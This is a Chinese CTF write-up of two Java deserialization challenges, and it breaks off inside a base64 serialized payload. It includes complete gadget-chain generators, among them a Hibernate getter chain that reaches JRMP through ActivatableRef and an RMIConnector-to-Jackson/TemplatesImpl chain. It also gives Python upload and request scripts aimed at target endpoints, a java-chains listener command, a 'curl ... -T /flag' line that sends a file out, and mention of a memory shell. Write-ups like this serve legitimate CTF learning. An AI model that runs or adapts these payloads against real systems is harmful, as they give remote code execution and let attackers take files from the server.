挑战一、Regretful_Deser

入口点分析

题目给了个jar包,同时使用的jdk版本是1.8.0 472

反序列化入口点

反序列化的时候还有个hashcode匹配

要求是传入的pass字符串不能跟n1ght相等,但是两者的hashcode要相等,拿脚本跑一下

在java里面运行

public static void main(String[] args) {
        String target = "n1ght";
        int targetHash = target.hashCode();
        List<String> collisions = new ArrayList<>();

        // 预计算幂次
        int pow4 = 31 * 31 * 31 * 31;
        int pow3 = 31 * 31 * 31;
        int pow2 = 31 * 31;
        int pow1 = 31;

        // 固定前2位为'n'和'1'(s0=110, s1=49),仅遍历s2/s3
        char s0 = 'n'; // 110
        char s1 = '1'; // 49
        int part01 = s0 * pow4 + s1 * pow3;

        for (char s2 = 32; s2 <= 126; s2++) {
            int part2 = part01 + s2 * pow2;
            for (char s3 = 32; s3 <= 126; s3++) {
                int part3 = part2 + s3 * pow1;
                int s4Ascii = targetHash - part3;
                s4Ascii = (s4Ascii % 0x10000000 + 0x10000000) % 0x10000000;

                if (s4Ascii >= 32 && s4Ascii <= 126) {
                    char s4 = (char) s4Ascii;
                    String test = "" + s0 + s1 + s2 + s3 + s4;
                    if (!test.equals(target) && test.hashCode() == targetHash) {
                        collisions.add(test);
                        System.out.println("快速找到:" + test);
                    }
                }
            }
        }

        System.out.println("结果:" + collisions); // 输出 [n1ghl]
    }

//得到结果
//结果:[n1giU, n1gj6, n1hIt, n1hJU, n1hK6, n1i*t, n1i+U, n1i,6]

题目依赖

​SecurityObjectInputStream反序列化黑名单

"org.apache.commons.collections", 
"javax.swing", 
"com.sun.rowset", 
"com.sun.org.apache.xalan", 
"java.security", 
"java.rmi.MarshalledObject", 
"javax.management.remote.rmi.RMIConnector"

看见依赖立马就想到要打5.6.15.Final反序列化链1

调用链如下,具体分析网上有大量的文章

 * org.hibernate.property.access.spi.GetterMethodImpl.get()
 * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
 * org.hibernate.type.ComponentType.getPropertyValue(C)
 * org.hibernate.type.ComponentType.getHashCode()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.engine.spi.TypedValue$1.initialize()
 * org.hibernate.internal.util.ValueHolder.getValue()
 * org.hibernate.engine.spi.TypedValue.hashCode()

最终触发org.hibernate.property.access.spi.GetterMethodImpl.get()方法,达到getter

黑名单分析

现在我们来分析一下黑名单

"org.apache.commons.collections"禁用

getter之后无法使用CC链,得通过二次反序列化

"com.sun.org.apache.xalan"禁用

导致我们无法直接使用TemplatesImpl.getOutputProperties()达到最终的RCE

"javax.swing"禁用

导致我们开始反序列化的时候,无法直接去使用javax.swing.event.EventListenerList那条利用链

二次反序列化禁用

"com.sun.rowset", 
"java.security", 
"java.rmi.MarshalledObject",
"javax.management.remote.rmi.RMIConnector"

这几个黑名单,

java.security.SignedObject
javax.management.remote.rmi.RMIConnector
com.sun.rowset.JdbcRowSetImpl

推测出题人的目的是想禁用二次反序列化,但是我们会发现

​com.sun.jndi.ldap.LdapAttribute并没有被ban掉,但是此时的jdk版本是1.8.0 472

高版本jdk打ldap会被限制,触发

转折

基本能确定的是,达到getter的方向是对的,但是我们需要去利用二次反序列化来绕过黑名单的限制。

在网上冲浪搜索发现这么一篇文章

https://aluvion.github.io/2022/02/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%AD%E7%9A%84RMI%E3%80%81JRMP%E3%80%81JNDI%E3%80%81LDAP-2/#RegistryImpl-Skel

里面有下面这两段话

调用ActivatableRef类的invoke函数,即RemoteRef接口的invoke函数,但是反序列化过程中方便触发的点位于RemoteObjectInvocationHandler函数中,需要使用动态代理,还需要代理的接口继承了Remote。整条利用链应该跟以前学习过的JRMP绕过类似,这里就不验证了。

StreamRemoteCall位于executeCall函数中,同样有两条路径,第一条与MarshalledObject相似,通过RemoteRef接口的invoke函数触发,即以前学习过的JRMP反序列化绕过利用链。

那么在尝试RMI、JNDI、LDAP都失败的情况下才想起来有JRMP这种方法。

调试分析

先找到ActivatableRef类的invoke函数

发现他其实是个有参,跟我们getter点触发无参并不匹配。

但是发现他的无参方法只有三个

    public String remoteToString() {
        return Util.getUnqualifiedName(getClass()) +
                " [remoteRef: " + ref + "]";
    }

    /**
     * default implementation of hashCode for remote objects
     */
    public int remoteHashCode() {
        return id.hashCode();
    }
    private synchronized RemoteRef getRef()
        throws RemoteException
    {
        if (ref == null) {
            ref = activate(false);
        }

        return ref;
    }

其中的getRef不由得引起我的注意

跟进activate方法

private RemoteRef activate(boolean force)
        throws RemoteException
    {
        assert Thread.holdsLock(this);

        ref = null;
        try {
            Remote proxy = id.activate(force);
            ActivatableRef newRef = null;
            if (proxy instanceof RemoteStub) {
                newRef = (ActivatableRef) ((RemoteStub) proxy).getRef();
            } else {
                RemoteObjectInvocationHandler handler =
                    (RemoteObjectInvocationHandler)
                    Proxy.getInvocationHandler(proxy);
                newRef = (ActivatableRef) handler.getRef();
            }
            ref = newRef.ref;
            return ref;

        } catch (ConnectException e) {
            throw new ConnectException("activation failed", e);
        } catch (RemoteException e) {
            throw new ConnectIOException("activation failed", e);
        } catch (UnknownObjectException e) {
            throw new NoSuchObjectException("object not registered");
        } catch (ActivationException e) {
            throw new ActivateFailedException("activation failed", e);
        }
    }

你会发现,这里其实跟上面文章说的调用ActivatableRef类的invoke函数触发JRMP道理是一样的,

invoke和getRef调用的是同一个activate

也就是说我们现在不一定要调用有参的invoke走到RemoteObjectInvocationHandler函数中,还可以利用无参的getRef来触发

跟入ActivationID.activate的方法

那么断点处调用的是Activator的activate

如果Activator是一个动态代理对象,调用该代理对象的 activate() 方法时,会触发动态代理的核心逻辑 —— 转发到 RemoteObjectInvocationHandler.invoke()

然后后面的就是正常的jrmp打法了

调用链如下:

    at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:273)
    at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:164)
    at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:235)
    at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:180)
    at com.sun.proxy.$Proxy0.activate(Unknown Source)
    at java.rmi.activation.ActivationID.activate(ActivationID.java:132)
    at sun.rmi.server.ActivatableRef.activate(ActivatableRef.java:277)

最终触发executeCall方法里面的readObject

demo脚本

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.Random;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import static com.example.hibernate.setField;

public class Demo {

    public static void main(String[] args) throws Exception {
        String host = "java-chain-IP";
        int port = 13999;
        ObjID id2 = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
        ActivationID activationID = new ActivationID((Activator) proxy);
        ActivatableRef activatableRef = new ActivatableRef();
        setField(activatableRef, "id", activationID);
        Method getMethod = ActivatableRef.class.getDeclaredMethod("getRef");
        getMethod.setAccessible(true);
        getMethod.invoke(activatableRef);
    }
    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }
}

‍

Regretful_Deser题目复现

hibernate+动态代理payload

我们只需要把get方法反射调用的对象改成ActivatableRef以及方法改成调用getRef即可,具体如下

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.example.SecurityObjectInputStream;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.text.SimpleDateFormat;
import java.util.Hashtable;
import sun.rmi.server.ActivatableRef;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.naming.CompositeName;
import java.rmi.MarshalledObject;
import java.util.Random;
import javax.naming.directory.BasicAttribute;
public class hibernate {

    /*
     * org.hibernate.property.access.spi.GetterMethodImpl.get()
     * org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
     * org.hibernate.type.ComponentType.getPropertyValue(C)
     * org.hibernate.type.ComponentType.getHashCode()
     * org.hibernate.engine.spi.TypedValue$1.initialize()
     * org.hibernate.engine.spi.TypedValue$1.initialize()
     * org.hibernate.internal.util.ValueHolder.getValue()
     * org.hibernate.engine.spi.TypedValue.hashCode()
     */
    public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
        Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
        constructor.setAccessible(true);
        Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
        constructor1.setAccessible(true);
        return (T) constructor1.newInstance(argsValues);
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate)
            throws NoSuchMethodException, InstantiationException, IllegalAccessException,
            InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor(Class<T> classToInstantiate,
                                              Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs)
            throws NoSuchMethodException, InstantiationException, IllegalAccessException,
            InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void main(String[] args) throws Exception {

        Hashtable hashtable = new Hashtable();

        ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);

        setField(componentType,"propertySpan",2);
        Class c1 = Class.forName("sun.rmi.server.ActivatableRef");
        String host = "vps-ip";
        int port = 13999;

        ObjID id2 = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id2, te, false));

        // 2. 创建动态代理
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class, Activator.class}, handler);
        ActivationID activationID = new ActivationID((Activator) proxy);
        ActivatableRef activatableRef = (ActivatableRef) createWithoutConstructor(Class.forName("sun.rmi.server.ActivatableRef"));

        setField(activatableRef, "id", activationID);
        TypedValue typedValue = new TypedValue(componentType,activatableRef);

        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

        Class<?> c = AbstractComponentTuplizer.class;
        Field field = c.getDeclaredField("getters");
        field.setAccessible(true);
        field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", c1.getDeclaredMethod("getRef"))});
//        field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", ActivatableRef.class.getDeclaredMethod("getRef"))});

        setField(componentType,"componentTuplizer",pojoComponentTuplizer);
        
        hashtable.put(1,111);

        Field tableField = Hashtable.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(hashtable);
        for (Object entry: table){
//            System.out.println(entry);
            if (entry != null){
                setField(entry,"key",typedValue);
            }
        }
        
        String string = Base64.getEncoder().encodeToString(ser(hashtable));
        System.out.println(string);
        

    }
    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static Object createObjWithoutConstructor(Class clazz) throws Exception{
        ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
        Constructor<Object> constructor = Object.class.getDeclaredConstructor();
        Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
        constructor1.setAccessible(true);
        return constructor1.newInstance();
    }

    public static byte[] ser(Object o) throws Exception{
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(o);
        return byteArrayOutputStream.toByteArray();
    }
}

把生成的字节码粘贴到python脚本里面

import requests
import base64
#TARGET_URL = "http://127.0.0.1:58999/api/echo"
TARGET_URL = "http://靶场ip:20811/api/echo"
PASS_VALUE = "n1giU"
ECHO_BASE64 = ""
headers = {
    "Pass": PASS_VALUE,
    "echo": ECHO_BASE64
}
def send_echo_request():
    try:
        response = requests.get(
            url=TARGET_URL,
            headers=headers,
            timeout=10
        )
        print("=== 请求结果 ===")
        print(f"状态码: {response.status_code}")
        print(f"响应头: {dict(response.headers)}")
        print(f"响应内容: {response.text}")
    except requests.exceptions.ConnectionError:
        print("错误:无法连接到服务端,请检查 IP/端口 是否正确")
    except requests.exceptions.Timeout:
        print("错误:请求超时")
    except Exception as e:
        print(f"错误:{str(e)}")
if __name__ == "__main__":
    send_echo_request()

vps启动java-chains

java -jar java-chains.jar -i 0.0.0.0

因为我们知道题目是有CC依赖的

然后往下滑

命令填入

curl https://dns/ -T /flag

外带出来成功拿到flag‍

‍

挑战二、load_jvav

发现有列目录和文件读取漏洞

把zip源码读出来,开始审计

题目分析

发现在文件上传的地方他会把文件内容进行base64解码之后再进行反序列化。

查看safeSer类,黑名单如下

依赖如下

 <properties>
        <java.version>1.8</java.version>

        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>

        <spring-boot.version>2.6.13</spring-boot.version>

    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-web</artifactId>

        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-thymeleaf</artifactId>

        </dependency>


        <dependency>
            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-tomcat</artifactId>

            <scope>provided</scope>

        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-test</artifactId>

            <scope>test</scope>

        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>

            <artifactId>spring-boot-starter-actuator</artifactId>

        </dependency>

    </dependencies>

    <dependencyManagement>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>

                <artifactId>spring-boot-dependencies</artifactId>

                <version>${spring-boot.version}</version>

                <type>pom</type>

                <scope>import</scope>

            </dependency>

        </dependencies>

    </dependencyManagement>

这题通用能打的依赖还是很多的,但是黑名单基本上又把依赖都禁用了。

发现题目还给了一个类,能够直接实现getter,但是这次是要触发有参的方法,而且参数只能是一个

由于有了上题的经验,很快就能想到用javax.management.remote.rmi.RMIConnector的connect方法打一个二次反序列化

因为它的connect有个是有参的,另一个是无参的。

因为依赖是自带jackson的,因此二次反序列化打jackson原生链就行,同时该题目是不出网的,得打个内存马。

但是我本地尝试了很久都无法成功。

这题很坑的点就是,他这里给你的信息让你误以为是用jdk8来去启动jar包的,实则不然

后面打着打着一直发现不对劲,才想起来读环境变量,看了眼题目的jdk,发现是11。

调用栈如下

    at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
    at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:605) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
    at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
    at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:344) ~[spring-aop-5.3.23.jar:5.3.23]
    at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:208) ~[spring-aop-5.3.23.jar:5.3.23]
    at com.sun.proxy.$Proxy90.getOutputProperties(Unknown Source) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
    at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
    at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.BeanSerializer.serialize(BeanSerializer.java:178) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.SerializerProvider.defaultSerializeValue(SerializerProvider.java:1142) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.node.POJONode.serialize(POJONode.java:115) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:39) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.std.SerializableSerializer.serialize(SerializableSerializer.java:20) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider._serialize(DefaultSerializerProvider.java:480) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ser.DefaultSerializerProvider.serializeValue(DefaultSerializerProvider.java:319) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ObjectWriter$Prefetch.serialize(ObjectWriter.java:1518) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ObjectWriter._writeValueAndClose(ObjectWriter.java:1219) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString(ObjectWriter.java:1086) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString(InternalNodeMapper.java:30) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at com.fasterxml.jackson.databind.node.BaseJsonNode.toString(BaseJsonNode.java:136) ~[jackson-databind-2.13.4.2.jar:2.13.4.2]
    at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
    at java.base/java.lang.StringBuilder.append(StringBuilder.java:172) ~[na:na]
    at java.base/java.util.AbstractCollection.toString(AbstractCollection.java:473) ~[na:na]
    at java.base/java.util.Vector.toString(Vector.java:1114) ~[na:na]
    at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
    at java.desktop/javax.swing.undo.CompoundEdit.toString(CompoundEdit.java:266) ~[na:na]
    at java.desktop/javax.swing.undo.UndoManager.toString(UndoManager.java:695) ~[na:na]
    at java.base/java.lang.String.valueOf(String.java:2951) ~[na:na]
    at java.desktop/javax.swing.event.EventListenerList.add(EventListenerList.java:202) ~[na:na]
    at java.desktop/javax.swing.event.EventListenerList.readObject(EventListenerList.java:296) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
    at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
    at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1046) ~[na:na]
    at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2357) ~[na:na]
    at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2228) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1687) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:489) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:447) ~[na:na]
    at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServerJRMP(RMIConnector.java:1868) ~[na:na]
    at java.management.rmi/javax.management.remote.rmi.RMIConnector.findRMIServer(RMIConnector.java:1815) ~[na:na]
    at java.management.rmi/javax.management.remote.rmi.RMIConnector.connect(RMIConnector.java:302) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
    at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
    at com.example.utile.YouFindThis.POFP(YouFindThis.java:44) ~[classes/:na]
    at com.example.utile.YouFindThis.readObject(YouFindThis.java:24) ~[classes/:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
    at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) ~[na:na]
    at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
    at java.base/java.lang.reflect.Method.invoke(Method.java:566) ~[na:na]
    at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1046) ~[na:na]
    at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2357) ~[na:na]
    at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2228) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1687) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:489) ~[na:na]
    at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:447) ~[na:na]
    at com.example.web.api.api.upload(api.java:54) ~[classes/:na]

因此最终payload如下

import requests
import base64
import os

# ========== 配置项(替换成你的实际值) ==========
#UPLOAD_URL = "http://challenge.bluesharkinfo.com:29786/api/upload"  # 后端upload接口地址
UPLOAD_URL = "http://127.0.0.1:58666/api/upload"  # 后端upload接口地址
BIN_FILE_PATH = "1.bin"  # 你生成的序列化文件路径
UPLOAD_FILENAME = "payload.ref"  # 文件名后缀必须包含ref(满足filename.substring(lastIndexOf(".")).contains("ref"))
def upload_serialized_file():
    # 1. 读取1.bin的字节内容
    # 2. 对字节流做Base64编码(后端会解码,必须纯编码无换行)
    b64_encoded ="rO0ABXNyAB1jb20uZXhhbXBsZS51dGlsZS5Zb3VGaW5kVGhpcwjLUi3UjktrAgAFTAAGYUNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAhhcmdjbGFzc3EAfgABTAAEYXJnc3QAEkxqYXZhL2xhbmcvT2JqZWN0O0wABWlucHV0cQB+AAJMAAZtZXRoZWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHZyAChqYXZheC5tYW5hZ2VtZW50LnJlbW90ZS5ybWkuUk1JQ29ubmVjdG9yC1e2+IIk4ukDAAJMAA1qbXhTZXJ2aWNlVVJMdAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL0pNWFNlcnZpY2VVUkw7TAAJcm1pU2VydmVydAAnTGphdmF4L21hbmFnZW1lbnQvcmVtb3RlL3JtaS9STUlTZXJ2ZXI7eHB2cgANamF2YS51dGlsLk1hcAAAAAAAAAAAAAAAeHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAIWpteC5yZW1vdGUucHJvdG9jb2wucHJvdmlkZXIucGtnc3QAG2NvbS5zdW4uam14LnJlbW90ZS5wcm90b2NvbHhzcQB+AAVzcgAlamF2YXgubWFuYWdlbWVudC5yZW1vdGUuSk1YU2VydmljZVVSTHFtn6Bdkm0cAgAESQAEcG9ydEwABGhvc3RxAH4AA0wACHByb3RvY29scQB+AANMAAd1cmxQYXRocQB+AAN4cAAAAAB0AAB0AANybWl0LOIvc3R1Yi9yTzBBQlhOeUFDTnFZWFpoZUM1emQybHVaeTVsZG1WdWRDNUZkbVZ1ZEV4cGMzUmxibVZ5VEdsemRKRkl6QzF6M3c3ZUF3QUFlSEIwQUJCcVlYWmhMblYwYVd3dVFtRnpaVFkwYzNJQUhHcGhkbUY0TG5OM2FXNW5MblZ1Wkc4dVZXNWtiMDFoYm1GblpYTHhmcDhkQ0NyQ0hRSUFBa2tBRG1sdVpHVjRUMlpPWlhoMFFXUmtTUUFGYkdsdGFYUjRjZ0FkYW1GMllYZ3VjM2RwYm1jdWRXNWtieTVEYjIxd2IzVnVaRVZrYVhTbG5sQzZVOXVWL1FJQUFsb0FDbWx1VUhKdlozSmxjM05NQUFWbFpHbDBjM1FBRWt4cVlYWmhMM1YwYVd3dlZtVmpkRzl5TzNoeUFDVnFZWFpoZUM1emQybHVaeTUxYm1SdkxrRmljM1J5WVdOMFZXNWtiMkZpYkdWRlpHbDBDQTBianUwQ0N4QUNBQUphQUFWaGJHbDJaVm9BQzJoaGMwSmxaVzVFYjI1bGVIQUJBUUZ6Y2dBUWFtRjJZUzUxZEdsc0xsWmxZM1J2Y3RtWGZWdUFPNjhCQXdBRFNRQVJZMkZ3WVdOcGRIbEpibU55WlcxbGJuUkpBQXhsYkdWdFpXNTBRMjkxYm5SYkFBdGxiR1Z0Wlc1MFJHRjBZWFFBRTF0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0NGNBQUFBQUFBQUFBQmRYSUFFMXRNYW1GMllTNXNZVzVuTGs5aWFtVmpkRHVRemxpZkVITXBiQUlBQUhod0FBQUFDbk55QUN4amIyMHVabUZ6ZEdWeWVHMXNMbXBoWTJ0emIyNHVaR0YwWVdKcGJtUXVibTlrWlM1UVQwcFBUbTlrWlFBQUFBQUFBQUFDQWdBQlRBQUdYM1poYkhWbGRBQVNUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdlSElBTFdOdmJTNW1ZWE4wWlhKNGJXd3VhbUZqYTNOdmJpNWtZWFJoWW1sdVpDNXViMlJsTGxaaGJIVmxUbTlrWlFBQUFBQUFBQUFCQWdBQWVISUFNR052YlM1bVlYTjBaWEo0Yld3dWFtRmphM052Ymk1a1lYUmhZbWx1WkM1dWIyUmxMa0poYzJWS2MyOXVUbTlrWlFBQUFBQUFBQUFCQWdBQWVIQnpmUUFBQUFFQUhXcGhkbUY0TG5odGJDNTBjbUZ1YzJadmNtMHVWR1Z0Y0d4aGRHVnplSElBRjJwaGRtRXViR0Z1Wnk1eVpXWnNaV04wTGxCeWIzaDU0U2ZhSU13UVE4c0NBQUZNQUFGb2RBQWxUR3BoZG1FdmJHRnVaeTl5Wldac1pXTjBMMGx1ZG05allYUnBiMjVJWVc1a2JHVnlPM2h3YzNJQU5HOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VZVzl3TG1aeVlXMWxkMjl5YXk1S1pHdEVlVzVoYldsalFXOXdVSEp2ZUhsTXhMUnhEdXVXL0FJQUJGb0FEV1Z4ZFdGc2MwUmxabWx1WldSYUFBOW9ZWE5vUTI5a1pVUmxabWx1WldSTUFBZGhaSFpwYzJWa2RBQXlURzl5Wnk5emNISnBibWRtY21GdFpYZHZjbXN2WVc5d0wyWnlZVzFsZDI5eWF5OUJaSFpwYzJWa1UzVndjRzl5ZER0YkFCRndjbTk0YVdWa1NXNTBaWEptWVdObGMzUUFFbHRNYW1GMllTOXNZVzVu